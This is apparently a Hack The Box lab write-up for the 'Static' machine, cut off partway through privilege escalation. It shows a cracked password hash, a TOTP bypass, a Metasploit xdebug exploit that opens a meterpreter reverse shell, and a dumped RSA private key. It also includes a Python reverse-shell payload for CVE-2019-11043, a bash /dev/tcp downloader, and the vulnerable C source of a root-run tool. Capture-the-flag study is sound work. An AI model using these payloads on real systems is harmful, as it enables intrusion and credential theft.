 - /.ftp_uploads/

Two files first is db.sql.gz and second is warning.txt

Warning tell us about the db.sql.gz file that been corrupted while transfer!!

After some google i found a tool for fix the corrupted gz files.

 - [fixgz](https://github.com/yonjar/fixgz)

But first install the requirements for that.

``` bash
apt-get install g++
```

let's compile that cpp file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# g++ fixgz.cpp -o fixgz
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# ls
fixgz  fixgz.cpp
```

Now let's fix the corrupted gz file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# ls
db.sql.gz  fixgz  fixgz.cpp
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# ./fixgz db.sql.gz db.gz
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# ls
db.gz  db.sql.gz  fixgz  fixgz.cpp
```

Now it's fixed let's extract the gz file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# gunzip db.gz
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# ls -la
总用量 40
drwxr-xr-x  2 root root  4096  6月 26 05:58 .
drwxr-xr-x 98 root root  4096  6月 25 11:14 ..
-rw-r--r--  1 root root   355  6月 26 05:57 db
-rw-r--r--  1 root root   262  6月 26 05:56 db.sql.gz
-rwxr-xr-x  1 root root 16904  6月 26 05:55 fixgz
-rw-r--r--  1 root root  1394  9月 13  2020 fixgz.cpp
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# cat db
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) ); 
INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );
```

Now let's try to crack the hash(d033e22ae348aeb5660fc2140aec35850c4da997).

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# john hash
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
Use the "--format=ripemd-160" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
Use the "--format=has-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
admin            (?)
1g 0:00:00:00 DONE 2/3 (2021-06-26 06:00) 6.666g/s 18826p/s 18826c/s 18826C/s Winnie..admin1
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed
```

Got the username(admin) & password(admin) let's try to login in inside /vpn/login.php

Admin account has 2FA enabled.

But the good news is we have the secret totp(orxxi4c7orxwwzlo)

 - [firefox add-ons Authenticator](https://addons.mozilla.org/en-US/firefox/addon/auth-helper/)

Let's use this extension and get the OTP.

Copy the OPT and send it.

Now we are inside Support Portal

Let's type web and get the web.ovpn file.

Now let's connect with web.ovpn file.

But it's giving us error let's check the file.

We see that it's want vpn.static.htb

let's add this inside /etc/hosts.

``` bash
10.10.10.246       vpn.static.htb
```

Now let's try to connect.

Now let's go to this web ip.

But it's loading and we can't see the web page.

We see in the image that we have two interface first tun0 second tun9 but in tun9 we have the ip 172.30.0.9 and the web page we want to access that's ip is 172.20.0.10

So we want to add the route for access the web page in tun9 interface.

``` bash
ip route add 172.20.0.0/24 dev tun9
```

And now we can access the web page.

Let's go to info.php

And we have the phpinfo page.

Found the xdebug let's check the exploit for that.

Got the metasploit module let's try to exploit with that.

 - [xdebug Unauthenticated OS Command Execution](https://www.rapid7.com/db/modules/exploit/unix/http/xdebug_unauth_exec/)

``` bash
msf6 exploit(unix/http/xdebug_unauth_exec) > options

Module options (exploit/unix/http/xdebug_unauth_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PATH     /vpn/login.php   yes       Path to target webapp
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   172.20.0.10      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       Callback host for accepting connections
   SRVPORT  9000             yes       Port to listen for the debugger
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun9             yes       The listen address (an interface may be specified)
   LPORT  9001             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
msf6 exploit(unix/http/xdebug_unauth_exec) > run

[*] Started reverse TCP handler on 172.30.0.9:9001
[*] 172.20.0.10:80 - Waiting for client response.
[*] 172.20.0.10:80 - Receiving response
[*] 172.20.0.10:80 - Shell might take upto a minute to respond.Please be patient.
[*] 172.20.0.10:80 - Sending payload of size 2026 bytes
[*] Sending stage (39282 bytes) to 172.30.0.1
[*] Meterpreter session 2 opened (172.30.0.9:9001 -> 172.30.0.1:53424) at 2021-06-21 00:56:43 -0500

meterpreter > shell
Process 381 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

And inside /home/www-data/.ssh we got the id_rsa of www-data user so let's use ssh for more stable shell.

``` bash
pwd
/home/www-data/.ssh
ls -al
total 20
drwx------ 2 www-data www-data 4096 Jun 14 07:54 .
drwxr-x--- 4 www-data www-data 4096 Jun 14 08:02 ..
-rw-r--r-- 1 www-data www-data  390 Jun 14 07:54 authorized_keys
-rw------- 1 www-data www-data 1675 Jun 14 07:34 id_rsa
-rw-r--r-- 1 www-data www-data  390 Jun 14 07:34 id_rsa.pub
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0pNa5qwGZ+DKsS60GPhNfCqZti7z1xPzxOTXwtwO9uYzZpq/
nrhzgJq0nQNVRUbaiZ+H6gR1OreDyjr9YorV2kJqccscBPZ59RAhttaQsBqHkGjJ
QEHYKteL1D+hJ80NDd7fJTtQgzT4yBDwrVKwIUSETMfWgzJ5z24LN5s/rcQYgl3i
VKmls3lsod8ilakdDoYEYt12L4ST/exEoVl0AyD9y8m651q40k1Gz4WzPnaHAlnj
mL6CANfiNAJoc8WnqZN5ruSrWhmivmDbKLlDCO5bCCzi2zMHJKqQkcBxdWk60Qhi
17UJMV3mKVQRprvpeTR2jCMykH81n2KU46doSQIDAQABAoIBAADCHxWtkOhW2uQA
cw2T91N3I86QJLiljb8rw8sj17nz4kOAUyhTKbdQ102pcWkqdCcCuA6TrYhkmMjl
pXvxXAvJKXD3dkZeTNohEL4Dz8mSjuJqPi9JDWo6FHrTL9Vg26ctIkiUChou2qZ9
ySAWqCO2h3NvVMpsKBwjHU858+TASlo4j03FJOdmROmUelcqmRimWxgneHBAHEZj
GqDuPjmPmw7pbThqlETyosrbaB3rROzUp9CKAHzYB1BvOTImDsb6qQ+GdKwewAQf
j60myPuxl4qgY8O2yqLFUH3/ovtPTKqHJSUFBO23wzS1qPLupzu1GVXwlsdlhRWA
Amvx+AECgYEA6OOd9dgqXR/vBaxDngWB6ToVysWDjO+QsjO4OpFo7AvGhMRR+WpK
qbZyJG1iQB0nlAHgYHEFj4It9iI6NCdTkKyg2UzZJMKJgErfgI0Svkh/Kdls23Ny
gxpacxW3d2RlyAv4m2hG4n82+DsoPcN+6KxqGRQxWywXtsBsYkRb+wkCgYEA53jg
+1CfGEH/N2TptK2CCUGB28X1eL0wDs83RsU7Nbz2ASVQj8K0MlVzR9CRCY5y6jcq
te1YYDiuFvT+17ENSe5fDtNiF1LEDfp45K6s4YU79DMp6Ot84c2fBDIh8ogH0D7C
CFdjXCI3SIlvc8miyivjRHoyJYJz/cO94DsTE0ECgYA1HlWVEWz4OKRoAtaZYGA1
Ng5qZYqPxsSWIL3QfgIUdMse1ThtTxUgiICYVmqmfP/d/l+TH7RI+0RIc54a7y1c
PkOhzKlqfQSnwmwgAg1YYWi/vtvZYgeoZ4Zh4X4rOTcN3c0ihTJFzwZWsAeJruFv
aIP6nGR1iyUNhe4yq6zfIQKBgANYQNAA2zurgHeZcrMUqsNdefXmB2UGPtKH9gGE
yhU9tMRReLeLFbWAfJj2D5J2x3xQ7cIROuyxBPr58VDGky2VTzRUo584p/KXwvVy
/LaJiVM/BgUCmhxdL0YNP2ZUxuAgeAdM0/e52time8DNkhefyLntlhnqp6hsEqtR
zzXBAoGBANB6Wdk/X3riJ50Bia9Ai7/rdXUpAa2B4pXARnP1/tw7krfPM/SCMABe
sjZU9eeOecWbg+B6RWQTNcxo/cRjMpxd5hRaANYhcFXGuxcg1N3nszhWDpHIpGr+
s5Mwc3oopgv6gMmetHMr0mcGz6OR9KsH8FvW1y+DYY3tUdgx0gau
-----END RSA PRIVATE KEY-----
```

let's login with ssh now

But it's doesn't work on default ssh port.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# mousepad id_rsa_www-data
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# chmod 600 id_rsa_www-data 
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# ssh -i id_rsa_www-data www-data@10.10.10.246
The authenticity of host '10.10.10.246 (10.10.10.246)' can't be established.
ECDSA key fingerprint is SHA256:JT8cPLAcOoDDuERFqP/Ap/sGDqquy6BK/8fkFO2QFJc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.246' (ECDSA) to the list of known hosts.
www-data@10.10.10.246's password: 

┌──(root💀kali)-[~/hackthebox/machine/static]
└─# ssh -i id_rsa_www-data www-data@10.10.10.246 -p 2222
The authenticity of host '[10.10.10.246]:2222 ([10.10.10.246]:2222)' can't be established.
ECDSA key fingerprint is SHA256:SO5uMKk4fPWk/kDc0dLD5Uf7dlyIes4r6s26waZlxkQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.246]:2222' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.19.0-16-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Jun 26 04:17:44 2021 from 10.10.14.127
www-data@web:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@web:~$ whoami
www-data
www-data@web:~$ cat user.txt
cat: user.txt: No such file or directory
www-data@web:~$ ls
www-data@web:~$ pwd
/home/www-data
www-data@web:~$ cd ..
www-data@web:/home$ cat user.txt 
f7f8154a785fe452b1da61b75d72cce8
```

Let's try with custom port of ssh 2222 which we see inside nmap scan.

And we got the user.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2007.jpg)

#### Privilege escalation

If you see on the Support Portal we have another network of ip(192.168.254.3).

And if we see inside our ssh Connection we are in the same network on eth1 interface.

``` bash
www-data@web:/home$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.20.0.10  netmask 255.255.255.0  broadcast 172.20.0.255
        ether 02:42:ac:14:00:0a  txqueuelen 0  (Ethernet)
        RX packets 3037  bytes 399264 (399.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2520  bytes 352660 (352.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.254.2  netmask 255.255.255.0  broadcast 192.168.254.255
        ether 02:42:c0:a8:fe:02  txqueuelen 0  (Ethernet)
        RX packets 59  bytes 5838 (5.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 21  bytes 2874 (2.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 412  bytes 21630 (21.6 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 412  bytes 21630 (21.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

let's do port forwarding with ssh so we can access the network

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# ssh -L 80:192.168.254.3:80 www-data@10.10.10.246 -p2222 -i id_rsa_www-data
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.19.0-16-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Jun 26 10:24:36 2021 from 10.10.14.5
www-data@web:~$
```

Now let's go to localhost or 127.0.0.1 and we got the page.

There is nothing on the website just saying batch mode: /usr/bin/ersatool...

And if we check the header we see PHP-FPM/7.1 is running let's check the exploit for that.

 - [PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043) Analysis](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)

 - [CVE-2019-11043 poc](https://github.com/theMiddleBlue/CVE-2019-11043)

After reading the article i understand that how to exploit this and get rev shell.

#### Step 1

Git clone the repo and get the exploit.py file and delete the directory.

#### Step 2

create simple script to make things easy.

luci.py

``` bash
import requests
 
payload = '/usr/bin/python3.6 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.2",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")\''
 
r = requests.get("http://192.168.254.3/index.php?a="+payload)
print(r.text)
```

#### Step 3

Download the nc binary.

 - [nc](https://github.com/H74N/netcat-binaries/blob/master/nc)

#### Step 4

Put all 3 files in one folder and transfer them with scp.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# scp -P 2222 -i id_rsa_www-data nc www-data@10.10.10.246:/tmp/nc
nc                                                                                              100%  762KB 119.0KB/s   00:06    
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# scp -P 2222 -i id_rsa_www-data 2019-11043-exploit.py www-data@10.10.10.246:/tmp/exploit.py
2019-11043-exploit.py                                                                           100% 4280    12.0KB/s   00:00    
┌──(root💀kali)-[~/hackthebox/machine/static]
└─# scp -P 2222 -i id_rsa_www-data luci.py www-data@10.10.10.246:/tmp/luci.py
luci.py
```

Now open 2 ssh Connections and start netcat listner on 9001 in one of the ssh connection.

After start the netcat listner run the exploit.py

``` bash
www-data@web:/tmp$ python3 exploit.py --url http://192.168.254.3/index.php 
[*] QSL candidate: 1754, 1759, 1764
[*] Target seems vulnerable (QSL:1754/HVL:220): PHPSESSID=6d483f623d1874f92a3042afbb704e76; path=/
[*] RCE successfully exploited!

    You should be able to run commands using:
    curl http://192.168.254.3/index.php?a=bin/ls+/
```

After running the exploit you got the url. we don't need to open that url because we create a script for that so they open that and add the python3 exploit and we got the rev shell.

We just need to run the dedsec.py for 2-3 times and we got the shell.

``` bash
www-data@web:/tmp$ ./nc -lvp 9001
listening on [any] 9001 ...
192.168.254.3: inverse host lookup failed: ���fy
connect to [192.168.254.2] from (UNKNOWN) [192.168.254.3] 46410
www-data@pki:~/html$ whoami
www-data
www-data@pki:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@pki:~/html$ ls
ls
index.php  uploads
```

Now if you remember we see a file called ersatool on web page. Let's check that file.

After checking that file i known that it's a binary which running as root.

``` bash
www-data@pki:~/html$ ls -al  /usr/bin/ersatool
ls -al  /usr/bin/ersatool
-rwxr-xr-x 1 root root 22496 Jun 21 17:05 /usr/bin/ersatool
www-data@pki:~/html$ file /usr/bin/ersatool
file /usr/bin/ersatool
/usr/bin/ersatool: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=961368a18afcdeccddd1f423353ff104bc09e6ae, not stripped
```

And after some enumeration i found the source code that file.

``` bash
www-data@pki:~/html$ find / -name ersatool.* 2>/dev/null
find / -name ersatool.* 2>/dev/null
/usr/src/ersatool.c
```

source code of ersatool binary.

 - ersatool.c

``` bash
#include 
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <libgen.h>
#include <sys/wait.h>
#include <ctype.h>

//easyrsa configuration
char ERSA_DIR[]="/opt/easyrsa";
char TA_KEY[]="/opt/easyrsa/clients/ta.key";
char OUTPUT_DIR[]="/opt/easyrsa/clients";
char BASE_CONFIG[]="/opt/easyrsa/clients/base.conf";
char EXT[]=".ovpn";

//void printCN(char*,int);
void filePrint(char*);
void revokeCN(char*,int);
void createCN(char*,int);
void integrateCN(char*);
void getHelp(char*,int);
void cleanStr(char*);

//deprecated function - prints the CN ovpn config file
//conf file can be printed with inegrateCN(); <- create
void printCN(char *cn, int i){
        char fn[100];
        char buffer[100];

        if(i==1){
                printf("print->CN=");
                fflush(stdout);
                memset(buffer,0,sizeof(buffer));
                read(0,buffer,sizeof(buffer));
        }
        else {
                memset(buffer,0,sizeof(buffer));
                strncat(buffer,cn,sizeof(buffer));
        }

        if(!strncmp("\n",buffer,1)) { return; }

        do{
                strncpy(fn, OUTPUT_DIR,sizeof(fn));
                strncat(fn, "/",sizeof(fn)-strlen(fn));
                strncat(fn, strtok(basename(buffer),"\n"),sizeof(fn)-strlen(fn));
                strncat(fn, EXT, sizeof(fn)-strlen(fn));
                printf(buffer); //checking buffer content
                filePrint(fn);
                if(i==1){

                        printf("\nprint->CN=");
                        fflush(stdout);
                        memset(buffer,0,sizeof(buffer));
                        read(0,buffer,sizeof(buffer));
                }
        } while (strncmp("\n",buffer,1) && i==1);
}

void filePrint(char *filename){
        int bfsiz=1;
        char buffer[bfsiz];
        int fd;
        ssize_t fr;
        memset(buffer,0,bfsiz);
        setuid(0); //escalating privileges to read root owned files
        if((fd=open(filename,O_RDONLY))<0){
                printf("[!] ERR reading %s!\n",filename);
        }
        while(fr=read(fd,buffer,bfsiz)>0){
                printf("%s",buffer);
                memset(buffer,0,bfsiz);
        }
        close(fd);
        fflush(stdout);
}

void revokeCN(char *cn, int i){
        puts("[!] Not implemented");
        fflush(stdout);
}

//creates and prints new CN config file
void createCN(char *cn, int i){
        int devNull, sout, serr, pid, status, oid;
        char EASYRSA[50];
        char buffer[100];
        char CMD[100];
        char WD[50];

        memset(EASYRSA,0,sizeof(EASYRSA));
        strcat(EASYRSA,ERSA_DIR);
        strcat(EASYRSA,"/easyrsa");

        if(i==1){
                printf("create->CN=");
                fflush(stdout);
                memset(buffer,0,sizeof(buffer));
                read(0,buffer,sizeof(buffer));
        }
        else {
                memset(buffer,0,sizeof(buffer));
                strncat(buffer, cn, sizeof(buffer));
        }

        if(!strncmp("\n",buffer,1)) { return; }

        do{
                pid = vfork();
                if(pid==0){
                        char *a[] = {EASYRSA,"build-client-full",strtok(basename(buffer),"\n"),"nopass","batch"};
                        //forge the command string
                        cleanStr(a[2]);
                        sprintf(CMD,"%s %s %.20s %s %s",a[0],a[1],a[2],a[3],a[4]);
                        sout=dup(STDOUT_FILENO);
                        serr=dup(STDERR_FILENO);
                        devNull=open("/dev/null",O_WRONLY);
                        dup2(devNull,STDOUT_FILENO);
                        dup2(devNull,STDERR_FILENO);
                        setuid(0); //escalating privilges to generate required files
                        chdir(ERSA_DIR);
                        system(CMD);
                        exit(0);
                }
                dup2(sout,STDOUT_FILENO);
                dup2(serr,STDERR_FILENO);
                close(devNull);
                usleep(500000);
                integrateCN(buffer);

                if(i==1){
                        printf("create->CN=");
                        fflush(stdout);
                        memset(buffer,0,sizeof(buffer));
                        read(0,buffer,sizeof(buffer));
                }
        } while (strncmp("\n",buffer,1) && i==1);
}

//print valid ovpnfile for provided cn
void integrateCN(char *cn){
        char PKI_DIR[50];
        char KEY_DIR[50];
        char CRT_DIR[50];
        char CA_CERT[50];
        char CN_CERT[50];
        char CN_KEY[50];

        memset(PKI_DIR,0,sizeof(PKI_DIR));
        memset(KEY_DIR,0,sizeof(KEY_DIR));
        memset(CRT_DIR,0,sizeof(CRT_DIR));
        memset(CA_CERT,0,sizeof(CA_CERT));
        memset(CN_CERT,0,sizeof(CN_CERT));
        memset(CN_KEY,0,sizeof(CN_KEY));

        strcat(PKI_DIR,ERSA_DIR);
        strcat(PKI_DIR,"/pki");
        strcat(KEY_DIR,PKI_DIR);
        strcat(KEY_DIR,"/private");
        strcat(CRT_DIR,PKI_DIR);
        strcat(CRT_DIR,"/issued");
        strcat(CA_CERT,PKI_DIR);
        strcat(CA_CERT,"/ca.crt");
        strcat(CN_CERT,CRT_DIR);
        strcat(CN_CERT,"/");
        strcat(CN_CERT,basename(cn));
        strcat(CN_CERT,".crt");
        strcat(CN_KEY,KEY_DIR);
        strcat(CN_KEY,"/");
        strcat(CN_KEY,basename(cn));
        strcat(CN_KEY,".key");

        filePrint(BASE_CONFIG);

        printf("<ca>\n");
        filePrint(CA_CERT);
        printf("</ca>\n");

        printf("<cert>\n");
        filePrint(CN_CERT);
        printf("</cert>\n");

        printf("<key>\n");
        filePrint(CN_KEY);
        printf("</key>\n");

        printf("key-direction 1\n<tls-auth>\n");
        filePrint(TA_KEY);
        printf("</tls-auth>\n");
        fflush(stdout);
}

void getHelp(char *prog, int i){
        if(i==1) {
                printf("create|print|revoke|exit\n");
                fflush(stdout);
        }
        else{
                printf("batch mode: %s create|print|revoke CN\n",prog);
                fflush(stdout);
                exit(255);
        }
}

//clean non alphanum chars from string to secure
void cleanStr(char *str)
{
    unsigned long i = 0;
    unsigned long j = 0;
    char c;

    while ((c = str[i++]) != '\0')
    {
        if (isalnum(c))
        {
            str[j++] = c;
        }
    }
    str[j] = '\0';
}

int main(int argc, char **argv){
        int interactive=0;
        char opt[8];
        char *cn;

        if(argc!=3 && argc!=1){
                getHelp(argv[0],interactive);
        }
        else if(argc==1){
                interactive=1;
                printf("# ");
                fflush(stdout);
                memset(opt,0,sizeof(opt));
                read(0,opt,sizeof(opt));
                cn=NULL;
        }
        else {
                strncpy(opt,argv[1],sizeof(opt));
                cn=argv[2];
        }

        do      {
                if(!strncmp("revoke",opt,6)){
                        revokeCN(cn,interactive);
                }
                else if (!strncmp("print",opt,5)){
                        printCN(cn,interactive);
                }
                else if (!strncmp("create",opt,6)){
                        createCN(cn,interactive);
                }
                else if (!strncmp("exit",opt,4)){
                        exit(0);
                }
                else{
                        getHelp(argv[0], interactive);
                }

                if(interactive==1){
                        memset(opt,0,sizeof(opt));
                        printf("# ");
                        fflush(stdout);
                        memset(opt,0,sizeof(opt));
                        read(0,opt,sizeof(opt));
                }
        } while(interactive==1);
}
```

So we have two methods for geeting root

1. using format string vulnerability
2. path injection

So i use path injection for doing that.

So let's monitor the calls of binary with pspy but the problem is how do we transfer that pspy binary on that machiene because there is no curl and wget or nothing for that.

But i found a way to transfer pspy into machiene by help of this article.

 - [how to download a file using just bash and nothing else](https://unix.stackexchange.com/questions/83926/how-to-download-a-file-using-just-bash-and-nothing-else-no-curl-wget-perl-et)

With the help of this bash script i will transfer that pspy binary.

``` bash
function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}
```

#### Step 1

First thing first let's download the pspy binary.

 - [pspy64s](https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s)

#### Step 2

Then transfer the pspy binary into www-data with scp.

``` bash
scp -P 2222 -i id_rsa_www-data pspy64s www-data@10.10.10.246:/tmp/pspy
```

#### Step 3

Start the python3 server on the /tmp directory.

``` bash
www-data@web:/tmp$ python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
```

#### Step 4

Follow the steps again to get the second shell with luci.py because we want two shells first is for running pspy second is for running ersatool binary.

After everything ready go to the shell which we get from luci.py and paste the whole script on terminal.

1. go to /tmp directory
2. create a directory www
3. paste the whole code which we get from stackoverflow
4. then call the function with __curl
5. and download the file inside /tmp/www directory

``` bash
www-data@pki:~/html$ cd /tmp
cd /tmp
www-data@pki:/tmp$ mkdir www
mkdir www
www-data@pki:/tmp$ cd www
cd www
www-data@pki:/tmp/www$ ls
ls
www-data@pki:/tmp/www$ function __curl() {
function __curl() {
>   read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}  read proto server path <<<$(echo ${1//// })
>   DOC=/${path// //}
>   HOST=${server//:*}
>   PORT=${server//*:}
>   [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
> 
>   exec 3<>/dev/tcp/${HOST}/$PORT
>   echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
>   (while read line; do
>    [[ "$line" == $'\r' ]] && break
>   done && cat) <&3
>   exec 3>&-
> 
}
www-data@pki:/tmp/www$ __curl http://192.168.254.2:1337/pspy > pspy
__curl http://192.168.254.2:1337/pspy > pspy
www-data@pki:/tmp/www$ ls -al
ls -al
total 1140
drwxr-xr-x 2 www-data www-data    4096 Jun 26 11:44 .
drwxrwxrwt 1 root     root        4096 Jun 26 11:44 ..
-rw-r--r-- 1 www-data www-data 1156536 Jun 26 11:44 pspy
www-data@pki:/tmp/www$
```

Now after transferring pspy run that on first rev shell.

``` bash
www-data@pki:/tmp/www$ chmod +x pspy
chmod +x pspy
www-data@pki:/tmp/www$ ./pspy | tee log
```

Now on second rev shell run that ersatool binary.

``` bash
/usr/bin/ersatool
create
a
print
a
b
exit
```

And i capture all calls of the binary and i found that openssl was call without giving the full path.

``` bash
2021/06/26 11:49:27 CMD: UID=0    PID=1977   | openssl version 
2021/06/26 11:49:27 CMD: UID=0    PID=1978   | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`a`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf                   
2021/06/26 11:49:27 CMD: UID=0    PID=1979   | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`a`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf                   
2021/06/26 11:49:27 CMD: UID=0    PID=1980   | mktemp /opt/easyrsa/pki/private/a.key.XXXXXXXXXX 
2021/06/26 11:49:27 CMD: UID=0    PID=1981   | mktemp /opt/easyrsa/pki/reqs/a.req.XXXXXXXXXX 
2021/06/26 11:49:27 CMD: UID=0    PID=1982   | 
2021/06/26 11:49:27 CMD: UID=0    PID=1983   | mv /opt/easyrsa/pki/private/a.key.33iSNpJtMR /opt/easyrsa/pki/private/a.key 
2021/06/26 11:49:27 CMD: UID=0    PID=1984   | mv /opt/easyrsa/pki/reqs/a.req.LRpyW6OLtM /opt/easyrsa/pki/reqs/a.req 
2021/06/26 11:49:27 CMD: UID=0    PID=1985   | openssl rand -hex -out /opt/easyrsa/pki/serial 16 
2021/06/26 11:49:27 CMD: UID=0    PID=1986   | cat /opt/easyrsa/pki/serial 
